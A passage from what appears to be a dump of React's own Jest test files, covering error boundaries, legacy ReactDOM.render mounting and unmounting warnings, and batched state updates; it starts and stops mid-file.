'BrokenComponentDidUpdate render',\n      'BrokenComponentDidUpdate componentWillReceiveProps',\n      'BrokenComponentDidUpdate componentWillUpdate',\n      'BrokenComponentDidUpdate render',\n      // We're in commit phase now, deleting\n      'BrokenComponentWillUnmount componentWillUnmount [!]',\n      'BrokenComponentWillUnmount componentWillUnmount [!]',\n      // Continue despite errors, handle them after commit is done\n      'InnerUnmountBoundary componentDidUpdate',\n      // We're still in commit phase, now calling update lifecycles\n      'BrokenComponentDidUpdate componentDidUpdate [!]',\n      // Again, continue despite errors, we'll handle them later\n      'BrokenComponentDidUpdate componentDidUpdate [!]',\n      'InnerUpdateBoundary componentDidUpdate',\n      'OuterErrorBoundary componentDidUpdate',\n      // After the commit phase, attempt to recover from any errors that\n      // were captured\n      'BrokenComponentDidUpdate componentWillUnmount',\n      'BrokenComponentDidUpdate componentWillUnmount',\n      'InnerUnmountBoundary componentDidCatch',\n      'InnerUnmountBoundary componentDidCatch',\n      'InnerUpdateBoundary componentDidCatch',\n      'InnerUpdateBoundary componentDidCatch',\n      'InnerUnmountBoundary componentWillUpdate',\n      'InnerUnmountBoundary render error',\n      'InnerUpdateBoundary componentWillUpdate',\n      'InnerUpdateBoundary render error',\n      'InnerUnmountBoundary componentDidUpdate',\n      'InnerUpdateBoundary componentDidUpdate',\n    ]);\n\n    log.length = 0;\n    ReactDOM.unmountComponentAtNode(container);\n    expect(log).toEqual([\n      'OuterErrorBoundary componentWillUnmount',\n      'InnerUnmountBoundary componentWillUnmount',\n      'InnerUpdateBoundary componentWillUnmount',\n    ]);\n  });\n\n  // @gate !disableLegacyMode\n  it('discards a bad root if the root component fails', async () => {\n    const X = null;\n    const Y = undefined;\n\n    await expect(async () => {\n      const container = document.createElement('div');\n      await act(() => {\n        ReactDOM.render(<X />, container);\n      });\n    }).rejects.toThrow('got: null');\n\n    await expect(async () => {\n      const container = document.createElement('div');\n      await act(() => {\n        ReactDOM.render(<Y />, container);\n      });\n    }).rejects.toThrow('got: undefined');\n  });\n\n  // @gate !disableLegacyMode\n  it('renders empty output if error boundary does not handle the error', async () => {\n    const container = document.createElement('div');\n    ReactDOM.render(\n      <div>\n        Sibling\n        <NoopErrorBoundary>\n          <BrokenRender />\n        </NoopErrorBoundary>\n      </div>,\n      container,\n    );\n    assertConsoleErrorDev([\n      'NoopErrorBoundary: Error boundaries should implement getDerivedStateFromError(). ' +\n        'In that method, return a state update to display an error message or fallback UI.\\n' +\n        '    in NoopErrorBoundary (at **)',\n    ]);\n    expect(container.firstChild.textContent).toBe('Sibling');\n    expect(log).toEqual([\n      'NoopErrorBoundary constructor',\n      'NoopErrorBoundary componentWillMount',\n      'NoopErrorBoundary render',\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      // In Fiber, noop error boundaries render null\n      'NoopErrorBoundary componentDidMount',\n      'NoopErrorBoundary componentDidCatch',\n      // Nothing happens.\n    ]);\n\n    log.length = 0;\n    ReactDOM.unmountComponentAtNode(container);\n    expect(log).toEqual(['NoopErrorBoundary componentWillUnmount']);\n  });\n\n  // @gate !disableLegacyMode\n  it('passes first error when two errors happen in commit', async () => {\n    const errors = [];\n    class Parent extends React.Component {\n      render() {\n        return <Child />;\n      }\n      componentDidMount() {\n        errors.push('parent sad');\n        throw new Error('parent sad');\n      }\n    }\n    class Child extends React.Component {\n      render() {\n        return <div />;\n      }\n      componentDidMount() {\n        errors.push('child sad');\n        throw new Error('child sad');\n      }\n    }\n\n    const container = document.createElement('div');\n    await expect(async () => {\n      await act(() => {\n        // Here, we test the behavior where there is no error boundary and we\n        // delegate to the host root.\n        ReactDOM.render(<Parent />, container);\n      });\n    }).rejects.toThrow(\n      expect.objectContaining({\n        errors: [\n          expect.objectContaining({message: 'child sad'}),\n          expect.objectContaining({message: 'parent sad'}),\n        ],\n      }),\n    );\n\n    expect(errors).toEqual(['child sad', 'parent sad']);\n  });\n\n  // @gate !disableLegacyMode\n  it('propagates uncaught error inside unbatched initial mount', async () => {\n    function Foo() {\n      throw new Error('foo error');\n    }\n    const container = document.createElement('div');\n    await expect(async () => {\n      await act(() => {\n        ReactDOM.unstable_batchedUpdates(() => {\n          ReactDOM.render(<Foo />, container);\n        });\n      });\n    }).rejects.toThrow('foo error');\n  });\n\n  // @gate !disableLegacyMode\n  it('handles errors that occur in before-mutation commit hook', async () => {\n    const errors = [];\n    class Parent extends React.Component {\n      getSnapshotBeforeUpdate() {\n        errors.push('parent sad');\n        throw new Error('parent sad');\n      }\n      componentDidUpdate() {}\n      render() {\n        return <Child {...this.props} />;\n      }\n    }\n    class Child extends React.Component {\n      getSnapshotBeforeUpdate() {\n        errors.push('child sad');\n        throw new Error('child sad');\n      }\n      componentDidUpdate() {}\n      render() {\n        return <div />;\n      }\n    }\n\n    const container = document.createElement('div');\n    await act(() => {\n      ReactDOM.render(<Parent value={1} />, container);\n    });\n\n    await expect(async () => {\n      await act(() => {\n        ReactDOM.render(<Parent value={2} />, container);\n      });\n    }).rejects.toThrow(\n      expect.objectContaining({\n        errors: [\n          expect.objectContaining({message: 'child sad'}),\n          expect.objectContaining({message: 'parent sad'}),\n        ],\n      }),\n    );\n\n    expect(errors).toEqual(['child sad', 'parent sad']);\n    // Error should be the first thrown\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactLegacyMount-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nconst {COMMENT_NODE} = require('react-dom-bindings/src/client/HTMLNodeType');\n\nlet React;\nlet ReactDOM;\nlet ReactDOMClient;\nlet waitForAll;\nlet assertConsoleErrorDev;\n\ndescribe('ReactMount', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;\n  });\n\n  describe('unmountComponentAtNode', () => {\n    // @gate !disableLegacyMode\n    it('throws when given a non-node', () => {\n      const nodeArray = document.getElementsByTagName('div');\n      expect(() => {\n        ReactDOM.unmountComponentAtNode(nodeArray);\n      }).toThrowError('Target container is not a DOM element.');\n    });\n\n    // @gate !disableLegacyMode\n    it('returns false on non-React containers', () => {\n      const d = document.createElement('div');\n      d.innerHTML = '<b>hellooo</b>';\n      expect(ReactDOM.unmountComponentAtNode(d)).toBe(false);\n      expect(d.textContent).toBe('hellooo');\n    });\n\n    // @gate !disableLegacyMode\n    it('returns true on React containers', () => {\n      const d = document.createElement('div');\n      ReactDOM.render(<b>hellooo</b>, d);\n      expect(d.textContent).toBe('hellooo');\n      expect(ReactDOM.unmountComponentAtNode(d)).toBe(true);\n      expect(d.textContent).toBe('');\n    });\n  });\n\n  // @gate !disableLegacyMode\n  it('warns when given a factory', () => {\n    class Component extends React.Component {\n      render() {\n        return <div />;\n      }\n    }\n\n    const container = document.createElement('div');\n    ReactDOM.render(Component, container);\n    assertConsoleErrorDev([\n      'Functions are not valid as a React child. ' +\n        'This may happen if you return Component instead of <Component /> from render. ' +\n        'Or maybe you meant to call this function rather than return it.\\n' +\n        '  root.render(Component)',\n    ]);\n  });\n\n  // @gate !disableLegacyMode\n  it('should render different components in same root', () => {\n    const container = document.createElement('container');\n    document.body.appendChild(container);\n\n    ReactDOM.render(<div />, container);\n    expect(container.firstChild.nodeName).toBe('DIV');\n\n    ReactDOM.render(<span />, container);\n    expect(container.firstChild.nodeName).toBe('SPAN');\n  });\n\n  // @gate !disableLegacyMode\n  it('should unmount and remount if the key changes', () => {\n    const container = document.createElement('container');\n\n    const mockMount = jest.fn();\n    const mockUnmount = jest.fn();\n\n    class Component extends React.Component {\n      componentDidMount = mockMount;\n      componentWillUnmount = mockUnmount;\n      render() {\n        return <span>{this.props.text}</span>;\n      }\n    }\n\n    expect(mockMount).toHaveBeenCalledTimes(0);\n    expect(mockUnmount).toHaveBeenCalledTimes(0);\n\n    ReactDOM.render(<Component text=\"orange\" key=\"A\" />, container);\n    expect(container.firstChild.innerHTML).toBe('orange');\n    expect(mockMount).toHaveBeenCalledTimes(1);\n    expect(mockUnmount).toHaveBeenCalledTimes(0);\n\n    // If we change the key, the component is unmounted and remounted\n    ReactDOM.render(<Component text=\"green\" key=\"B\" />, container);\n    expect(container.firstChild.innerHTML).toBe('green');\n    expect(mockMount).toHaveBeenCalledTimes(2);\n    expect(mockUnmount).toHaveBeenCalledTimes(1);\n\n    // But if we don't change the key, the component instance is reused\n    ReactDOM.render(<Component text=\"blue\" key=\"B\" />, container);\n    expect(container.firstChild.innerHTML).toBe('blue');\n    expect(mockMount).toHaveBeenCalledTimes(2);\n    expect(mockUnmount).toHaveBeenCalledTimes(1);\n  });\n\n  // @gate !disableLegacyMode\n  it('should reuse markup if rendering to the same target twice', () => {\n    const container = document.createElement('container');\n    const instance1 = ReactDOM.render(<div />, container);\n    const instance2 = ReactDOM.render(<div />, container);\n\n    expect(instance1 === instance2).toBe(true);\n  });\n\n  // @gate !disableLegacyMode\n  it('should not warn if mounting into non-empty node', () => {\n    const container = document.createElement('container');\n    container.innerHTML = '<div></div>';\n\n    ReactDOM.render(<div />, container);\n  });\n\n  // @gate !disableLegacyMode\n  it('should warn when mounting into document.body', () => {\n    const iFrame = document.createElement('iframe');\n    document.body.appendChild(iFrame);\n\n    // HostSingletons make the warning for document.body unecessary\n    ReactDOM.render(<div />, iFrame.contentDocument.body);\n  });\n\n  // @gate !disableLegacyMode\n  it('should warn if render removes React-rendered children', () => {\n    const container = document.createElement('container');\n\n    class Component extends React.Component {\n      render() {\n        return (\n          <div>\n            <div />\n          </div>\n        );\n      }\n    }\n\n    ReactDOM.render(<Component />, container);\n\n    // Test that blasting away children throws a warning\n    const rootNode = container.firstChild;\n\n    ReactDOM.render(<span />, rootNode);\n    assertConsoleErrorDev([\n      'Replacing React-rendered children with a new ' +\n        'root component. If you intended to update the children of this node, ' +\n        'you should instead have the existing children update their state and ' +\n        'render the new components instead of calling ReactDOM.render.',\n    ]);\n  });\n\n  // @gate !disableLegacyMode\n  it('should warn if the unmounted node was rendered by another copy of React', () => {\n    jest.resetModules();\n    const ReactDOMOther = require('react-dom');\n    const container = document.createElement('div');\n\n    class Component extends React.Component {\n      render() {\n        return (\n          <div>\n            <div />\n          </div>\n        );\n      }\n    }\n\n    ReactDOM.render(<Component />, container);\n    // Make sure ReactDOM and ReactDOMOther are different copies\n    expect(ReactDOM).not.toEqual(ReactDOMOther);\n\n    ReactDOMOther.unmountComponentAtNode(container);\n    assertConsoleErrorDev([\n      \"unmountComponentAtNode(): The node you're attempting to unmount \" +\n        'was rendered by another copy of React.',\n    ]);\n\n    // Don't throw a warning if the correct React copy unmounts the node\n    ReactDOM.unmountComponentAtNode(container);\n  });\n\n  // @gate !disableLegacyMode\n  it('passes the correct callback context', () => {\n    const container = document.createElement('div');\n    let calls = 0;\n\n    ReactDOM.render(<div />, container, function () {\n      expect(this.nodeName).toBe('DIV');\n      calls++;\n    });\n\n    // Update, no type change\n    ReactDOM.render(<div />, container, function () {\n      expect(this.nodeName).toBe('DIV');\n      calls++;\n    });\n\n    // Update, type change\n    ReactDOM.render(<span />, container, function () {\n      expect(this.nodeName).toBe('SPAN');\n      calls++;\n    });\n\n    // Batched update, no type change\n    ReactDOM.unstable_batchedUpdates(function () {\n      ReactDOM.render(<span />, container, function () {\n        expect(this.nodeName).toBe('SPAN');\n        calls++;\n      });\n    });\n\n    // Batched update, type change\n    ReactDOM.unstable_batchedUpdates(function () {\n      ReactDOM.render(<article />, container, function () {\n        expect(this.nodeName).toBe('ARTICLE');\n        calls++;\n      });\n    });\n\n    expect(calls).toBe(5);\n  });\n\n  // @gate !disableLegacyMode && classic\n  it('initial mount of legacy root is sync inside batchedUpdates, as if it were wrapped in flushSync', () => {\n    const container1 = document.createElement('div');\n    const container2 = document.createElement('div');\n\n    class Foo extends React.Component {\n      state = {active: false};\n      componentDidMount() {\n        this.setState({active: true});\n      }\n      render() {\n        return (\n          <div>{this.props.children + (this.state.active ? '!' : '')}</div>\n        );\n      }\n    }\n\n    ReactDOM.render(<div>1</div>, container1);\n\n    ReactDOM.unstable_batchedUpdates(() => {\n      // Update. Does not flush yet.\n      ReactDOM.render(<div>2</div>, container1);\n      expect(container1.textContent).toEqual('1');\n\n      // Initial mount on another root. Should flush immediately.\n      ReactDOM.render(<Foo>a</Foo>, container2);\n      // The earlier update also flushed, since flushSync flushes all pending\n      // sync work across all roots.\n      expect(container1.textContent).toEqual('2');\n      // Layout updates are also flushed synchronously\n      expect(container2.textContent).toEqual('a!');\n    });\n    expect(container1.textContent).toEqual('2');\n    expect(container2.textContent).toEqual('a!');\n  });\n\n  describe('mount point is a comment node', () => {\n    let containerDiv;\n    let mountPoint;\n\n    beforeEach(() => {\n      containerDiv = document.createElement('div');\n      containerDiv.innerHTML = 'A<!-- react-mount-point-unstable -->B';\n      mountPoint = containerDiv.childNodes[1];\n      expect(mountPoint.nodeType).toBe(COMMENT_NODE);\n    });\n\n    // @gate !disableLegacyMode\n    it('renders at a comment node', () => {\n      function Char(props) {\n        return props.children;\n      }\n      function list(chars) {\n        return chars.split('').map(c => <Char key={c}>{c}</Char>);\n      }\n\n      ReactDOM.render(list('aeiou'), mountPoint);\n      expect(containerDiv.innerHTML).toBe(\n        'Aaeiou<!-- react-mount-point-unstable -->B',\n      );\n\n      ReactDOM.render(list('yea'), mountPoint);\n      expect(containerDiv.innerHTML).toBe(\n        'Ayea<!-- react-mount-point-unstable -->B',\n      );\n\n      ReactDOM.render(list(''), mountPoint);\n      expect(containerDiv.innerHTML).toBe(\n        'A<!-- react-mount-point-unstable -->B',\n      );\n    });\n  });\n\n  // @gate !disableLegacyMode\n  it('clears existing children with legacy API', async () => {\n    const container = document.createElement('div');\n    container.innerHTML = '<div>a</div><div>b</div>';\n    ReactDOM.render(\n      <div>\n        <span>c</span>\n        <span>d</span>\n      </div>,\n      container,\n    );\n    expect(container.textContent).toEqual('cd');\n    ReactDOM.render(\n      <div>\n        <span>d</span>\n        <span>c</span>\n      </div>,\n      container,\n    );\n    await waitForAll([]);\n    expect(container.textContent).toEqual('dc');\n  });\n\n  // @gate !disableLegacyMode\n  it('warns when rendering with legacy API into createRoot() container', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    root.render(<div>Hi</div>);\n    await waitForAll([]);\n    expect(container.textContent).toEqual('Hi');\n    ReactDOM.render(<div>Bye</div>, container);\n    assertConsoleErrorDev([\n      // We care about this warning:\n      'You are calling ReactDOM.render() on a container that was previously ' +\n        'passed to ReactDOMClient.createRoot(). This is not supported. ' +\n        'Did you mean to call root.render(element)?',\n      // This is more of a symptom but restructuring the code to avoid it isn't worth it:\n      'Replacing React-rendered children with a new root component. ' +\n        'If you intended to update the children of this node, ' +\n        'you should instead have the existing children update their state ' +\n        'and render the new components instead of calling ReactDOM.render.',\n    ]);\n    await waitForAll([]);\n    // This works now but we could disallow it:\n    expect(container.textContent).toEqual('Bye');\n  });\n\n  // @gate !disableLegacyMode\n  it('warns when unmounting with legacy API (no previous content)', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    root.render(<div>Hi</div>);\n    await waitForAll([]);\n    expect(container.textContent).toEqual('Hi');\n    const unmounted = ReactDOM.unmountComponentAtNode(container);\n    assertConsoleErrorDev([\n      // We care about this warning:\n      'You are calling ReactDOM.unmountComponentAtNode() on a container that was previously ' +\n        'passed to ReactDOMClient.createRoot(). This is not supported. Did you mean to call root.unmount()?',\n      // This is more of a symptom but restructuring the code to avoid it isn't worth it:\n      'unmountComponentAtNode(): ' +\n        \"The node you're attempting to unmount was rendered by React and is not a top-level container. \" +\n        'Instead, have the parent component update its state and rerender in order to remove this component.',\n    ]);\n    expect(unmounted).toBe(false);\n    await waitForAll([]);\n    expect(container.textContent).toEqual('Hi');\n    root.unmount();\n    await waitForAll([]);\n    expect(container.textContent).toEqual('');\n  });\n\n  // @gate !disableLegacyMode\n  it('warns when unmounting with legacy API (has previous content)', async () => {\n    const container = document.createElement('div');\n    // Currently createRoot().render() doesn't clear this.\n    container.appendChild(document.createElement('div'));\n    // The rest is the same as test above.\n    const root = ReactDOMClient.createRoot(container);\n    root.render(<div>Hi</div>);\n    await waitForAll([]);\n    expect(container.textContent).toEqual('Hi');\n    const unmounted = ReactDOM.unmountComponentAtNode(container);\n    assertConsoleErrorDev([\n      'You are calling ReactDOM.unmountComponentAtNode() on a container ' +\n        'that was previously passed to ReactDOMClient.createRoot(). ' +\n        'This is not supported. Did you mean to call root.unmount()?',\n      // This is more of a symptom but restructuring the code to avoid it isn't worth it:\n      'unmountComponentAtNode(): ' +\n        \"The node you're attempting to unmount was rendered by React and is not a top-level container. \" +\n        'Instead, have the parent component update its state and rerender in order to remove this component.',\n    ]);\n    expect(unmounted).toBe(false);\n    await waitForAll([]);\n    expect(container.textContent).toEqual('Hi');\n    root.unmount();\n    await waitForAll([]);\n    expect(container.textContent).toEqual('');\n  });\n\n  // @gate !disableLegacyMode\n  it('warns when passing legacy container to createRoot()', () => {\n    const container = document.createElement('div');\n    ReactDOM.render(<div>Hi</div>, container);\n    ReactDOMClient.createRoot(container);\n    assertConsoleErrorDev([\n      'You are calling ReactDOMClient.createRoot() on a container that was previously ' +\n        'passed to ReactDOM.render(). This is not supported.',\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactLegacyRootWarnings-test.js",
    "content": "let ReactDOM = require('react-dom');\n\ndescribe('ReactDOMRoot', () => {\n  let container;\n\n  beforeEach(() => {\n    jest.resetModules();\n    container = document.createElement('div');\n    ReactDOM = require('react-dom');\n  });\n\n  afterEach(() => {\n    jest.restoreAllMocks();\n  });\n\n  // @gate !disableLegacyMode\n  it('deprecation warning for ReactDOM.render', () => {\n    spyOnDev(console, 'error');\n\n    ReactDOM.render('Hi', container);\n    expect(container.textContent).toEqual('Hi');\n    if (__DEV__) {\n      expect(console.error).toHaveBeenCalledTimes(1);\n      expect(console.error.mock.calls[0][0]).toContain(\n        'ReactDOM.render has not been supported since React 18',\n      );\n    }\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactLegacyUpdates-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOM;\nlet findDOMNode;\nlet act;\nlet Scheduler;\nlet assertLog;\nlet assertConsoleErrorDev;\n\n// Copy of ReactUpdates using ReactDOM.render and ReactDOM.unstable_batchedUpdates.\n// Can be deleted when we remove both.\ndescribe('ReactLegacyUpdates', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOM = require('react-dom');\n    findDOMNode =\n      ReactDOM.__DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE\n        .findDOMNode;\n    act = require('internal-test-utils').act;\n    assertConsoleErrorDev =\n      require('internal-test-utils').assertConsoleErrorDev;\n    Scheduler = require('scheduler');\n\n    const InternalTestUtils = require('internal-test-utils');\n    assertLog = InternalTestUtils.assertLog;\n  });\n\n  // @gate !disableLegacyMode && classic\n  it('should batch state when updating state twice', () => {\n    let updateCount = 0;\n\n    class Component extends React.Component {\n      state = {x: 0};\n\n      componentDidUpdate() {\n        updateCount++;\n      }\n\n      render() {\n        return <div>{this.state.x}</div>;\n      }\n    }\n\n    const container = document.createElement('div');\n    const instance = ReactDOM.render(<Component />, container);\n    expect(instance.state.x).toBe(0);\n\n    ReactDOM.unstable_batchedUpdates(function () {\n      instance.setState({x: 1});\n      instance.setState({x: 2});\n      expect(instance.state.x).toBe(0);\n      expect(updateCount).toBe(0);\n    });\n\n    expect(instance.state.x).toBe(2);\n    expect(updateCount).toBe(1);\n  });\n\n  // @gate !disableLegacyMode && classic\n  it('should batch state when updating two different state keys', () => {\n    let updateCount = 0;\n\n    class Component extends React.Component {\n      state = {x: 0, y: 0};\n\n      componentDidUpdate() {\n        updateCount++;\n      }\n\n      render() {\n        return <div>{`(${this.state.x}, ${this.state.y})`}</div>;\n      }\n    }\n\n    const container = document.createElement('div');\n    const instance = ReactDOM.render(<Component />, container);\n    expect(instance.state.x).toBe(0);\n    expect(instance.state.y).toBe(0);\n\n    ReactDOM.unstable_batchedUpdates(function () {\n      instance.setState({x: 1});\n      instance.setState({y: 2});\n      expect(instance.state.x).toBe(0);\n      expect(instance.state.y).toBe(0);\n      expect(updateCount).toBe(0);\n    });\n\n    expect(instance.state.x).toBe(1);\n    expect(instance.state.y).toBe(2);\n    expect(updateCount).toBe(1);\n  });\n\n  // @gate !disableLegacyMode && classic\n  it('should batch state and props together', () => {\n    let updateCount = 0;\n\n    class Component extends React.Component {\n      state = {y: 0};\n\n      componentDidUpdate() {\n        updateCount++;\n      }\n\n      render() {\n        return <div>{`(${this.props.x}, ${this.state.y})`}</div>;\n      }\n    }\n\n    const container = document.createElement('div');\n    const instance = ReactDOM.render(<Component x={0} />, container);\n    expect(instance.props.x).toBe(0);\n    expect(instance.state.y).toBe(0);\n\n    ReactDOM.unstable_batchedUpdates(function () {\n      ReactDOM.render(<Component x={1} />, container);\n      instance.setState({y: 2});\n      expect(instance.props.x).toBe(0);\n      expect(instance.state.y).toBe(0);\n      expect(updateCount).toBe(0);\n    });\n\n    expect(instance.props.x).toBe(1);\n    expect(instance.state.y).toBe(2);\n    expect(updateCount).toBe(1);\n  });\n\n  // @gate !disableLegacyMode && classic\n  it('should batch parent/child state updates together', () => {\n    let parentUpdateCount = 0;\n\n    class Parent extends React.Component {\n      state = {x: 0};\n      childRef = React.createRef();\n\n      componentDidUpdate() {\n        parentUpdateCount++;\n      }\n\n      render() {\n        return (\n          <div>\n            <Child ref={this.childRef} x={this.state.x} />\n          </div>\n        );\n      }\n    }\n\n    let childUpdateCount = 0;\n\n    class Child extends React.Component {\n      state = {y: 0};\n\n      componentDidUpdate() {\n        childUpdateCount++;\n      }\n\n      render() {\n        return <div>{this.props.x + this.state.y}</div>;\n      }\n    }\n\n    const container = document.createElement('div');\n    const instance = ReactDOM.render(<Parent />, container);\n    const child = instance.childRef.current;\n    expect(instance.state.x).toBe(0);\n    expect(child.state.y).toBe(0);\n\n    ReactDOM.unstable_batchedUpdates(function () {\n      instance.setState({x: 1});\n      child.setState({y: 2});\n      expect(instance.state.x).toBe(0);\n      expect(child.state.y).toBe(0);\n      expect(parentUpdateCount).toBe(0);\n      expect(childUpdateCount).toBe(0);\n    });\n\n    expect(instance.state.x).toBe(1);\n    expect(child.state.y).toBe(2);\n    expect(parentUpdateCount).toBe(1);\n    expect(childUpdateCount).toBe(1);\n  });\n\n  // @gate !disableLegacyMode && classic\n  it('should batch child/parent state updates together', () => {\n    let parentUpdateCount = 0;\n\n    class Parent extends React.Component {\n      state = {x: 0};\n      childRef = React.createRef();\n\n      componentDidUpdate() {\n        parentUpdateCount++;\n      }\n\n      render() {\n        return (\n          <div>\n            <Child ref={this.childRef} x={this.state.x} />\n          </div>\n        );\n      }\n    }\n\n    let childUpdateCount = 0;\n\n    class Child extends React.Component {\n      state = {y: 0};\n\n      componentDidUpdate() {\n        childUpdateCount++;\n      }\n\n      render() {\n        return <div>{this.props.x + this.state.y}</div>;\n      }\n    }\n\n    const container = document.createElement('div');\n    const instance = ReactDOM.render(<Parent />, container);\n    const child = instance.childRef.current;\n    expect(instance.state.x).toBe(0);\n    expect(child.state.y).toBe(0);\n\n    ReactDOM.unstable_batchedUpdates(function () {\n      child.setState({y: 2});\n      instance.setState({x: 1});\n      expect(instance.state.x).toBe(0);\n      expect(child.state.y).toBe(0);\n      expect(parentUpdateCount).toBe(0);\n      expect(childUpdateCount).toBe(0);\n    });\n\n    expect(instance.state.x).toBe(1);\n    expect(child.state.y).toBe(2);\n    expect(parentUpdateCount).toBe(1);\n\n    // Batching reduces the number of updates here to 1.\n    expect(childUpdateCount).toBe(1);\n  });\n\n  // @gate !disableLegacyMode && classic\n  it('should support chained state updates', () => {\n    let updateCount = 0;\n\n    class Component extends React.Component {\n      state = {x: 0};\n\n      componentDidUpdate() {\n        updateCount++;\n      }\n\n      render() {\n        return <div>{this.state.x}</div>;\n      }\n    }\n\n    const container = document.createElement('div');\n    const instance = ReactDOM.render(<Component />, container);\n    expect(instance.state.x).toBe(0);\n\n    let innerCallbackRun = false;\n    ReactDOM.unstable_batchedUpdates(function () {\n      instance.setState({x: 1}, function () {\n        instance.setState({x: 2}, function () {\n          expect(this).toBe(instance);\n          innerCallbackRun = true;\n          expect(instance.state.x).toBe(2);\n          expect(updateCount).toBe(2);\n        });\n        expect(instance.state.x).toBe(1);\n        expect(updateCount).toBe(1);\n      });\n      expect(instance.state.x).toBe(0);\n      expect(updateCount).toBe(0);\n    });\n\n    expect(innerCallbackRun).toBeTruthy();\n    expect(instance.state.x).toBe(2);\n    expect(updateCount).toBe(2);\n  });\n\n  // @gate !disableLegacyMode && classic\n  it('should batch forceUpdate together', () => {\n    let shouldUpdateCount = 0;\n    let updateCount = 0;\n\n    class Component extends React.Component {\n      state = {x: 0};\n\n      shouldComponentUpdate() {\n        shouldUpdateCount++;\n      }\n\n      componentDidUpdate() {\n        updateCount++;\n      }\n\n      render() {\n        return <div>{this.state.x}</div>;\n      }\n    }\n\n    const container = document.createElement('div');\n    const instance = ReactDOM.render(<Component />, container);\n    expect(instance.state.x).toBe(0);\n\n    let callbacksRun = 0;\n    ReactDOM.unstable_batchedUpdates(function () {\n      instance.setState({x: 1}, function () {\n        callbacksRun++;\n      });\n      instance.forceUpdate(function () {\n        callbacksRun++;\n      });\n      expect(instance.state.x).toBe(0);\n      expect(updateCount).toBe(0);\n    });\n\n    expect(callbacksRun).toBe(2);\n    // shouldComponentUpdate shouldn't be called since we're forcing\n    expect(shouldUpdateCount).toBe(0);\n    expect(instance.state.x).toBe(1);\n    expect(updateCount).toBe(1);\n  });\n\n  // @gate !disableLegacyMode\n  it('should update children even if parent blocks updates', () => {\n    let parentRenderCount = 0;\n    let childRenderCount = 0;\n\n    class Parent extends React.Component {\n      childRef = React.createRef();\n\n      shouldComponentUpdate() {\n        return false;\n      }\n\n      render() {\n        parentRenderCount++;\n        return <Child ref={this.childRef} />;\n      }\n    }\n\n    class Child extends React.Component {\n      render() {\n        childRenderCount++;\n        return <div />;\n      }\n    }\n\n    expect(parentRenderCount).toBe(0);\n    expect(childRenderCount).toBe(0);\n\n    const container = document.createElement('div');\n    const instance = ReactDOM.render(<Parent />, container);\n\n    expect(parentRenderCount).toBe(1);\n    expect(childRenderCount).toBe(1);\n\n    ReactDOM.unstable_batchedUpdates(function () {\n      instance.setState({x: 1});\n    });\n\n    expect(parentRenderCount).toBe(1);\n    expect(childRenderCount).toBe(1);\n\n    ReactDOM.unstable_batchedUpdates(function () {\n      instance.childRef.current.setState({x: 1});\n    });\n\n    expect(parentRenderCount).toBe(1);\n    expect(childRenderCount).toBe(2);\n  });\n\n  // @gate !disableLegacyMode\n  it('should not reconcile children passed via props', () => {\n    let numMiddleRenders = 0;\n    let numBottomRenders = 0;\n\n    class Top extends React.Component {\n      render() {\n        return (\n          <Middle>\n            <Bottom />\n          </Middle>\n        );\n      }\n    }\n\n    class Middle extends React.Component {\n      componentDidMount() {\n        this.forceUpdate();\n      }\n\n      render() {\n        numMiddleRenders++;\n        return React.Children.only(this.props.children);\n      }\n    }\n\n    class Bottom extends React.Component {\n      render() {\n        numBottomRenders++;\n        return null;\n      }\n    }\n\n    const container = document.createElement('div');\n    ReactDOM.render(<Top />, container);\n    expect(numMiddleRenders).toBe(2);\n    expect(numBottomRenders).toBe(1);\n  });\n\n  // @gate !disableLegacyMode\n  it('should flow updates correctly', () => {\n    let willUpdates = [];\n    let didUpdates = [];\n\n    const UpdateLoggingMixin = {\n      UNSAFE_componentWillUpdate: function () {\n        willUpdates.push(this.constructor.displayName);\n      },\n      componentDidUpdate: function () {\n        didUpdates.push(this.constructor.displayName);\n      },\n    };\n\n    class Box extends React.Component {\n      boxDivRef = React.createRef();\n\n      render() {\n        return <div ref={this.boxDivRef}>{this.props.children}</div>;\n      }\n    }\n    Object.assign(Box.prototype, UpdateLoggingMixin);\n\n    class Child extends React.Component {\n      spanRef = React.createRef();\n\n      render() {\n        return <span ref={this.spanRef}>child</span>;\n      }\n    }\n    Object.assign(Child.prototype, UpdateLoggingMixin);\n\n    class Switcher extends React.Component {\n      state = {tabKey: 'hello'};\n      boxRef = React.createRef();\n      switcherDivRef = React.createRef();\n      render() {\n        const child = this.props.children;\n\n        return (\n          <Box ref={this.boxRef}>\n            <div\n              ref={this.switcherDivRef}\n              style={{\n                display: this.state.tabKey === child.key ? '' : 'none',\n              }}>\n              {child}\n            </div>\n          </Box>\n        );\n      }\n    }\n    Object.assign(Switcher.prototype, UpdateLoggingMixin);\n\n    class App extends React.Component {\n      switcherRef = React.createRef();\n      childRef = React.createRef();\n\n      render() {\n        return (\n          <Switcher ref={this.switcherRef}>\n            <Child key=\"hello\" ref={this.childRef} />\n          </Switcher>\n        );\n      }\n    }\n    Object.assign(App.prototype, UpdateLoggingMixin);\n\n    const container = document.createElement('div');\n    const root = ReactDOM.render(<App />, container);\n\n    function expectUpdates(desiredWillUpdates, desiredDidUpdates) {\n      let i;\n      for (i = 0; i < desiredWillUpdates; i++) {\n        expect(willUpdates).toContain(desiredWillUpdates[i]);\n      }\n      for (i = 0; i < 